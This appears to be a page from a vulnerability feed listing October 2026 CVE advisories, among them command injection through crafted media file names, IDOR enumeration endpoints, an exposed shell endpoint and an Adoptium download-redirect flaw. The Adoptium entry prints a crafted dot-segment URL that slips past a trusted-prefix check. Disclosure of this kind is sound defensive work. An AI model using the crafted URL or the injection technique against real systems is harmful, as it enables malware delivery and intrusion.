nodejs-whisper through 0.3.1 contains an OS command injection vulnerability in convertToWavType() that allows attackers to execute commands by supplying crafted audio file paths. Attackers can provide file names containing $() command substitution or closing quotes, which are interpolated into an ffmpeg command run via shelljs exec(), executing OS commands with Node.js process privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stills before 25.24.2 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying crafted media file paths.
https://kevwire.com/record/CVE-2026-110649
Stills before 25.24.2 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying crafted media file paths. (Oct 14, 2026).
Stills before 25.24.2 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying crafted media file paths. Attackers can name a media file with $(...) or backticks to execute operating system commands with Node.js process privileges when ffmpeg, ffprobe, gifsicle, or convert runs.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110649).
EPSS 2.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110649&date=2026-10-25).
Sources:
NVD CVE-2026-110649: https://nvd.nist.gov/vuln/detail/CVE-2026-110649
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110649&date=2026-10-25
Stills before 25.24.2 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying crafted media file paths. Attackers can name a media file with $(...) or backticks to execute operating system commands with Node.js process privileges when ffmpeg, ffprobe, gifsicle, or convert runs.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### libsmb2 through 6.2 contains a heap out-of-bounds read vulnerability in smb2_decode_file_all_info that allows malicious SMB servers to crash clients by sending an unchecked...
https://kevwire.com/record/CVE-2026-110712
libsmb2 through 6.2 contains a heap out-of-bounds read vulnerability in smb2_decode_file_all_info that allows malicious SMB servers to crash clients by sending an unchecked... (Oct 14, 2026).
libsmb2 through 6.2 contains a heap out-of-bounds read vulnerability in smb2_decode_file_all_info that allows malicious SMB servers to crash clients by sending an unchecked FileNameLength. Attackers controlling the server or performing man-in-the-middle on unsigned sessions can return crafted FileAllInformation replies to smb2_stat or smb2_fstat calls, crashing the client.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110712).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110712&date=2026-10-25).
Sources:
NVD CVE-2026-110712: https://nvd.nist.gov/vuln/detail/CVE-2026-110712
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110712&date=2026-10-25
libsmb2 through 6.2 contains a heap out-of-bounds read vulnerability in smb2_decode_file_all_info that allows malicious SMB servers to crash clients by sending an unchecked FileNameLength. Attackers controlling the server or performing man-in-the-middle on unsigned sessions can return crafted FileAllInformation replies to smb2_stat or smb2_fstat calls, crashing the client.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Radar before 1.12.2 contains a missing authorization vulnerability in the handleLocalTerminal WebSocket endpoint (/api/local-terminal) that allows authenticated or unauthenticated...
https://kevwire.com/record/CVE-2026-82026
Radar before 1.12.2 contains a missing authorization vulnerability in the handleLocalTerminal WebSocket endpoint (/api/local-terminal) that allows authenticated or unauthenticated... (Oct 14, 2026).
Radar before 1.12.2 contains a missing authorization vulnerability in the handleLocalTerminal WebSocket endpoint (/api/local-terminal) that allows authenticated or unauthenticated attackers to spawn a privileged shell by relying only on a runtime-mode check instead of role-based access control. Attackers can connect to the endpoint to execute /bin/bash -l on the Radar host with Radar's own kubeconfig and process credentials injected into the shell environment, achieving remote code execution with Radar's privileges even when the --disable-local-terminal flag is set.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-82026).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-82026&date=2026-10-25).
Sources:
NVD CVE-2026-82026: https://nvd.nist.gov/vuln/detail/CVE-2026-82026
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-82026&date=2026-10-25
Radar before 1.12.2 contains a missing authorization vulnerability in the handleLocalTerminal WebSocket endpoint (/api/local-terminal) that allows authenticated or unauthenticated attackers to spawn a privileged shell by relying only on a runtime-mode check instead of role-based access control. Attackers can connect to the endpoint to execute /bin/bash -l on the Radar host with Radar's own kubeconfig and process credentials injected into the shell environment, achieving remote code execution with Radar's privileges even when the --disable-local-terminal flag is set.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Hyper-V allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70023
Use after free in Windows Hyper-V allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Hyper-V allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70023).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70023&date=2026-10-25).
Sources:
NVD CVE-2026-70023: https://nvd.nist.gov/vuln/detail/CVE-2026-70023
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70023
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70023&date=2026-10-25
Use after free in Windows Hyper-V allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In the Eclipse Adoptium website (adoptium.net), in every deployment built from commit 0b24ea1 (2025-06-18) up to the fix in commit cbb53cf (2026-09-24), the post-download page...
https://kevwire.com/record/CVE-2026-93649
In the Eclipse Adoptium website (adoptium.net), in every deployment built from commit 0b24ea1 (2025-06-18) up to the fix in commit cbb53cf (2026-09-24), the post-download page... (Oct 15, 2026).
In the Eclipse Adoptium website (adoptium.net), in every deployment built from commit 0b24ea1 (2025-06-18) up to the fix in commit cbb53cf (2026-09-24), the post-download page /[locale]/download takes a download URL from the "link" query parameter and automatically navigates to it with a meta http-equiv="refresh". The URL is checked against a list of trusted prefixes using String.startsWith() on the raw string, while the browser applies RFC 3986 dot-segment normalisation before navigating, so a value such as https://github.com/adoptium/temurin/../../attacker/malware/releases/download/v1/jdk.exe passes the check but resolves to an attacker-controlled repository. A victim who follows a crafted adoptium.net link is shown the genuine "Thank you for downloading Eclipse Temurin" page while their browser downloads a binary of the attacker's choosing
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-93649).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-93649&date=2026-10-25).
Sources:
NVD CVE-2026-93649: https://nvd.nist.gov/vuln/detail/CVE-2026-93649
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-93649&date=2026-10-25
In the Eclipse Adoptium website (adoptium.net), in every deployment built from commit 0b24ea1 (2025-06-18) up to the fix in commit cbb53cf (2026-09-24), the post-download page /[locale]/download takes a download URL from the "link" query parameter and automatically navigates to it with a meta http-equiv="refresh". The URL is checked against a list of trusted prefixes using String.startsWith() on the raw string, while the browser applies RFC 3986 dot-segment normalisation before navigating, so a value such as https://github.com/adoptium/temurin/../../attacker/malware/releases/download/v1/jdk.exe passes the check but resolves to an attacker-controlled repository. A victim who follows a crafted adoptium.net link is shown the genuine "Thank you for downloading Eclipse Temurin" page while their browser downloads a binary of the attacker's choosing

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Planning Analytics 2.0, and 2.1 could allow a remote authenticated attacker to execute arbitrary code due to a stack-based buffer overflow.
https://kevwire.com/record/CVE-2026-85457
IBM Planning Analytics 2.0, and 2.1 could allow a remote authenticated attacker to execute arbitrary code due to a stack-based buffer overflow. (Oct 12, 2026).
IBM Planning Analytics 2.0, and 2.1 could allow a remote authenticated attacker to execute arbitrary code due to a stack-based buffer overflow.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85457).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85457&date=2026-10-25).
Sources:
NVD CVE-2026-85457: https://nvd.nist.gov/vuln/detail/CVE-2026-85457
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85457&date=2026-10-25
IBM Planning Analytics 2.0, and 2.1 could allow a remote authenticated attacker to execute arbitrary code due to a stack-based buffer overflow.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Client-Side Enforcement of Server-Side Security vulnerability in Divasoft Software and E-Commerce Inc.
https://kevwire.com/record/CVE-2026-13138
Client-Side Enforcement of Server-Side Security vulnerability in Divasoft Software and E-Commerce Inc. (Oct 13, 2026).
Client-Side Enforcement of Server-Side Security vulnerability in Divasoft Software and E-Commerce Inc. Biletiva Ticketing Platform allows Manipulating State.

This issue affects Biletiva Ticketing Platform: through 2026-07-23.
CVSS 8.6 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-13138).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-13138&date=2026-10-25).
Sources:
NVD CVE-2026-13138: https://nvd.nist.gov/vuln/detail/CVE-2026-13138
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-13138&date=2026-10-25
Client-Side Enforcement of Server-Side Security vulnerability in Divasoft Software and E-Commerce Inc. Biletiva Ticketing Platform allows Manipulating State.

This issue affects Biletiva Ticketing Platform: through 2026-07-23.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### LingGuo-Drama through commit 8a6924a contains an insecure direct object reference vulnerability that allows registered users to access other users' projects because projects.Get...
https://kevwire.com/record/CVE-2026-111722
LingGuo-Drama through commit 8a6924a contains an insecure direct object reference vulnerability that allows registered users to access other users' projects because projects.Get... (Oct 16, 2026).
LingGuo-Drama through commit 8a6924a contains an insecure direct object reference vulnerability that allows registered users to access other users' projects because projects.Get lacks an owner check. Self-registered attackers can iterate numeric IDs via GET, PUT and DELETE /admin/v1/projects/:id to read, overwrite, reassign or delete any user's short-drama projects.
CVSS 8.6 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111722).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111722&date=2026-10-25).
Sources:
NVD CVE-2026-111722: https://nvd.nist.gov/vuln/detail/CVE-2026-111722
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111722&date=2026-10-25
LingGuo-Drama through commit 8a6924a contains an insecure direct object reference vulnerability that allows registered users to access other users' projects because projects.Get lacks an owner check. Self-registered attackers can iterate numeric IDs via GET, PUT and DELETE /admin/v1/projects/:id to read, overwrite, reassign or delete any user's short-drama projects.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ChatOllama through commit 96c3ce5 contains an insecure direct object reference vulnerability that allows remote attackers to access other users' private knowledge bases by...
https://kevwire.com/record/CVE-2026-111702
ChatOllama through commit 96c3ce5 contains an insecure direct object reference vulnerability that allows remote attackers to access other users' private knowledge bases by... (Oct 16, 2026).
ChatOllama through commit 96c3ce5 contains an insecure direct object reference vulnerability that allows remote attackers to access other users' private knowledge bases by supplying sequential ids. Attackers can enumerate ids via GET /api/knowledgebases/{id} or the knowledgebaseId parameter of POST /api/models/chat to read metadata and retrieved document content.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111702).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111702&date=2026-10-25).
Sources:
NVD CVE-2026-111702: https://nvd.nist.gov/vuln/detail/CVE-2026-111702
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111702&date=2026-10-25
ChatOllama through commit 96c3ce5 contains an insecure direct object reference vulnerability that allows remote attackers to access other users' private knowledge bases by supplying sequential ids. Attackers can enumerate ids via GET /api/knowledgebases/{id} or the knowledgebaseId parameter of POST /api/models/chat to read metadata and retrieved document content.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### HUIZHI ChargeOS cloud through 3.0.9 contains an insecure direct object reference vulnerability in the hcp-mp MeController and OrderController that trusts client-supplied userId,...
https://kevwire.com/record/CVE-2026-111697
HUIZHI ChargeOS cloud through 3.0.9 contains an insecure direct object reference vulnerability in the hcp-mp MeController and OrderController that trusts client-supplied userId,... (Oct 16, 2026).
HUIZHI ChargeOS cloud through 3.0.9 contains an insecure direct object reference vulnerability in the hcp-mp MeController and OrderController that trusts client-supplied userId, openId and orderNumber parameters. Attackers can enumerate sequential member ids against endpoints like /me/getMemberBalanceByUserId and /order/orderDetail to read any member's wallet, credit, profile and charging orders.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111697).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111697&date=2026-10-25).
Sources:
NVD CVE-2026-111697: https://nvd.nist.gov/vuln/detail/CVE-2026-111697
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111697&date=2026-10-25
HUIZHI ChargeOS cloud through 3.0.9 contains an insecure direct object reference vulnerability in the hcp-mp MeController and OrderController that trusts client-supplied userId, openId and orderNumber parameters. Attackers can enumerate sequential member ids against endpoints like /me/getMemberBalanceByUserId and /order/orderDetail to read any member's wallet, credit, profile and charging orders.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### go-ldap-admin through 0.6.2 embeds a hard-coded RSA private key, published in the public repository, that protects encrypted login passwords.
https://kevwire.com/record/CVE-2026-111347
go-ldap-admin through 0.6.2 embeds a hard-coded RSA private key, published in the public repository, that protects encrypted login passwords. (Oct 15, 2026).
go-ldap-admin through 0.6.2 embeds a hard-coded RSA private key, published in the public repository, that protects encrypted login passwords. Unauthenticated attackers who capture encrypted passwords can decrypt them offline or via the /base/decryptpwd endpoint, recovering cleartext LDAP credentials for reuse.
CVSS 8.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111347).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111347&date=2026-10-25).
Sources:
NVD CVE-2026-111347: https://nvd.nist.gov/vuln/detail/CVE-2026-111347
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111347&date=2026-10-25
go-ldap-admin through 0.6.2 embeds a hard-coded RSA private key, published in the public repository, that protects encrypted login passwords. Unauthenticated attackers who capture encrypted passwords can decrypt them offline or via the /base/decryptpwd endpoint, recovering cleartext LDAP credentials for reuse.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Driftregion iso14229 before 0.10.1 contains an integer wraparound in Handle_0x38_RequestFileTransfer that lets unauthenticated attackers bypass the file path length check.
https://kevwire.com/record/CVE-2026-111282
Driftregion iso14229 before 0.10.1 contains an integer wraparound in Handle_0x38_RequestFileTransfer that lets unauthenticated attackers bypass the file path length check. (Oct 15, 2026).
Driftregion iso14229 before 0.10.1 contains an integer wraparound in Handle_0x38_RequestFileTransfer that lets unauthenticated attackers bypass the file path length check. Attackers can send a short RequestFileTransfer (SID 0x38) request with filePathAndNameLength 0xFFFC-0xFFFF, causing callbacks to read past the receive buffer, crashing targets or disclosing memory.
CVSS 8.8 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111282).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111282&date=2026-10-25).
Sources:
NVD CVE-2026-111282: https://nvd.nist.gov/vuln/detail/CVE-2026-111282
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111282&date=2026-10-25
Driftregion iso14229 before 0.10.1 contains an integer wraparound in Handle_0x38_RequestFileTransfer that lets unauthenticated attackers bypass the file path length check. Attackers can send a short RequestFileTransfer (SID 0x38) request with filePathAndNameLength 0xFFFC-0xFFFF, causing callbacks to read past the receive buffer, crashing targets or disclosing memory.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of untrusted data in the Gremlin graph data import component in Amazon Neptune engine might allow an authenticated remote actor with standard database permissions...
https://kevwire.com/record/CVE-2026-110812
Deserialization of untrusted data in the Gremlin graph data import component in Amazon Neptune engine might allow an authenticated remote actor with standard database permissions... (Oct 15, 2026).
Deserialization of untrusted data in the Gremlin graph data import component in Amazon Neptune engine might allow an authenticated remote actor with standard database permissions to execute arbitrary code and access internal service credentials.



To remediate this issue, users not enrolled in auto-update should upgrade to Amazon Neptune engine version 1.5.0.0.(Backports to 1.4.8.1 and 1.4.7.1)
CVSS 9.4 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110812).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110812&date=2026-10-25).
Sources:
NVD CVE-2026-110812: https://nvd.nist.gov/vuln/detail/CVE-2026-110812
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110812&date=2026-10-25
Deserialization of untrusted data in the Gremlin graph data import component in Amazon Neptune engine might allow an authenticated remote actor with standard database permissions to execute arbitrary code and access internal service credentials.



To remediate this issue, users not enrolled in auto-update should upgrade to Amazon Neptune engine version 1.5.0.0.(Backports to 1.4.8.1 and 1.4.7.1)

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In `api-gateway` versions till `1.7.3`, The default rate-limit key resolver, `ClientIpKeyResolver`, derives the per-client bucket key from the leftmost element of the...
https://kevwire.com/record/CVE-2026-110724
In `api-gateway` versions till `1.7.3`, The default rate-limit key resolver, `ClientIpKeyResolver`, derives the per-client bucket key from the leftmost element of the... (Oct 15, 2026).
In `api-gateway` versions till `1.7.3`, The default rate-limit key resolver, `ClientIpKeyResolver`, derives the per-client bucket key from the leftmost element of the `X-Forwarded-For` request header. That element is supplied by the originating HTTP client and is not validated against any trusted-proxy list. A single attacker can therefore obtain an unlimited number of independent rate-limit buckets — one per unique header value — and completely bypass the gateway's request-rate limiting on every route that uses the shipped default configuration.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110724).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110724&date=2026-10-25).
Sources:
NVD CVE-2026-110724: https://nvd.nist.gov/vuln/detail/CVE-2026-110724
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110724&date=2026-10-25
In `api-gateway` versions till `1.7.3`, The default rate-limit key resolver, `ClientIpKeyResolver`, derives the per-client bucket key from the leftmost element of the `X-Forwarded-For` request header. That element is supplied by the originating HTTP client and is not validated against any trusted-proxy list. A single attacker can therefore obtain an unlimited number of independent rate-limit buckets — one per unique header value — and completely bypass the gateway's request-rate limiting on every route that uses the shipped default configuration.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### JIT miscompilation in the JavaScript Engine: JIT component.
https://kevwire.com/record/CVE-2026-109722
JIT miscompilation in the JavaScript Engine: JIT component. (Oct 13, 2026).
JIT miscompilation in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 158, Firefox ESR 115.43, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109722).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109722&date=2026-10-25).
Sources:
NVD CVE-2026-109722: https://nvd.nist.gov/vuln/detail/CVE-2026-109722
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109722&date=2026-10-25
JIT miscompilation in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 158, Firefox ESR 115.43, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect boundary conditions in the JavaScript Engine component.
https://kevwire.com/record/CVE-2026-109716
Incorrect boundary conditions in the JavaScript Engine component. (Oct 13, 2026).
Incorrect boundary conditions in the JavaScript Engine component. This vulnerability was fixed in Firefox 158, Firefox ESR 115.43, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109716).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109716&date=2026-10-25).
Sources:
NVD CVE-2026-109716: https://nvd.nist.gov/vuln/detail/CVE-2026-109716
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109716&date=2026-10-25
Incorrect boundary conditions in the JavaScript Engine component. This vulnerability was fixed in Firefox 158, Firefox ESR 115.43, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect boundary conditions in the JavaScript Engine component.
https://kevwire.com/record/CVE-2026-109715
Incorrect boundary conditions in the JavaScript Engine component. (Oct 13, 2026).
Incorrect boundary conditions in the JavaScript Engine component. This vulnerability was fixed in Firefox 158, Firefox ESR 115.43, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109715).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109715&date=2026-10-25).
Sources:
NVD CVE-2026-109715: https://nvd.nist.gov/vuln/detail/CVE-2026-109715
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109715&date=2026-10-25
Incorrect boundary conditions in the JavaScript Engine component. This vulnerability was fixed in Firefox 158, Firefox ESR 115.43, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Sandbox escape due to uninitialized memory in the Graphics component.
https://kevwire.com/record/CVE-2026-109712
Sandbox escape due to uninitialized memory in the Graphics component. (Oct 13, 2026).
Sandbox escape due to uninitialized memory in the Graphics component. This vulnerability was fixed in Firefox 158, Firefox ESR 115.43, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.
CVSS 7.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109712).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109712&date=2026-10-25).
Sources:
NVD CVE-2026-109712: https://nvd.nist.gov/vuln/detail/CVE-2026-109712
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109712&date=2026-10-25
Sandbox escape due to uninitialized memory in the Graphics component. This vulnerability was fixed in Firefox 158, Firefox ESR 115.43, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Eclipse Vert.x versions [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x HTTP client relies on an SSL context for efficiency purpose, the key of this cache should...
https://kevwire.com/record/CVE-2026-102476
